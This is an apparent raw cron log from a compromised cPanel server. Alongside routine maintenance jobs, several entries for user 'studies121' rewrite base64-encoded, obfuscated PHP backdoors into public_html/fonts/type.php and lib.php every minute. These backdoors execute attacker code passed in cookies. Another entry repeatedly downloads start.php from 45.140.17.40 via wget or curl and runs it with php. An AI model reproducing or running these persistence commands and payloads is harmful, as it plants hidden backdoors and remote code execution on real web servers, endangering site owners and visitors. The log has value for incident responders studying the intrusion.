Sep 21 00:14:01 ip-184-168-122-23 CROND[30934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:14:01 ip-184-168-122-23 CROND[30932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:14:01 ip-184-168-122-23 CROND[30933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:14:01 ip-184-168-122-23 CROND[30935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:15:01 ip-184-168-122-23 CROND[31049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31052]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31053]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31055]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:15:01 ip-184-168-122-23 CROND[31057]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 21 00:16:01 ip-184-168-122-23 CROND[31179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:16:01 ip-184-168-122-23 CROND[31180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:16:01 ip-184-168-122-23 CROND[31183]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 00:16:01 ip-184-168-122-23 CROND[31184]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:16:01 ip-184-168-122-23 CROND[31186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:16:01 ip-184-168-122-23 CROND[31185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:17:01 ip-184-168-122-23 CROND[31354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:17:01 ip-184-168-122-23 CROND[31355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:17:01 ip-184-168-122-23 CROND[31356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:17:01 ip-184-168-122-23 CROND[31359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:18:01 ip-184-168-122-23 CROND[31447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:18:01 ip-184-168-122-23 CROND[31449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:18:01 ip-184-168-122-23 CROND[31452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:18:01 ip-184-168-122-23 CROND[31450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:18:01 ip-184-168-122-23 CROND[31451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:19:01 ip-184-168-122-23 CROND[31540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:19:01 ip-184-168-122-23 CROND[31542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:19:01 ip-184-168-122-23 CROND[31541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:19:01 ip-184-168-122-23 CROND[31544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31635]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31644]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:20:01 ip-184-168-122-23 CROND[31640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31641]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:20:01 ip-184-168-122-23 CROND[31645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:21:02 ip-184-168-122-23 CROND[31758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:21:02 ip-184-168-122-23 CROND[31760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:21:02 ip-184-168-122-23 CROND[31762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:21:02 ip-184-168-122-23 CROND[31763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:22:01 ip-184-168-122-23 CROND[31952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:22:01 ip-184-168-122-23 CROND[31955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:22:01 ip-184-168-122-23 CROND[31954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:22:01 ip-184-168-122-23 CROND[31957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:22:01 ip-184-168-122-23 CROND[31956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:23:01 ip-184-168-122-23 CROND[32059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:23:01 ip-184-168-122-23 CROND[32061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:23:01 ip-184-168-122-23 CROND[32060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:23:01 ip-184-168-122-23 CROND[32062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:24:01 ip-184-168-122-23 CROND[32143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:24:01 ip-184-168-122-23 CROND[32145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:24:01 ip-184-168-122-23 CROND[32146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:24:01 ip-184-168-122-23 CROND[32149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 00:24:01 ip-184-168-122-23 CROND[32147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:25:01 ip-184-168-122-23 CROND[32262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 00:25:01 ip-184-168-122-23 CROND[32263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 00:25:01 ip-184-168-122-23 CROND[32266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 00:25:01 ip-184-168-122-23 CROND[32267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 00:25:01 ip-184-168-122-23 CROND[32268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 00:25:01 ip-184-168-122-23 CROND[32270]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 00:25:01 ip-184-168-122-23 CROND[32269]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
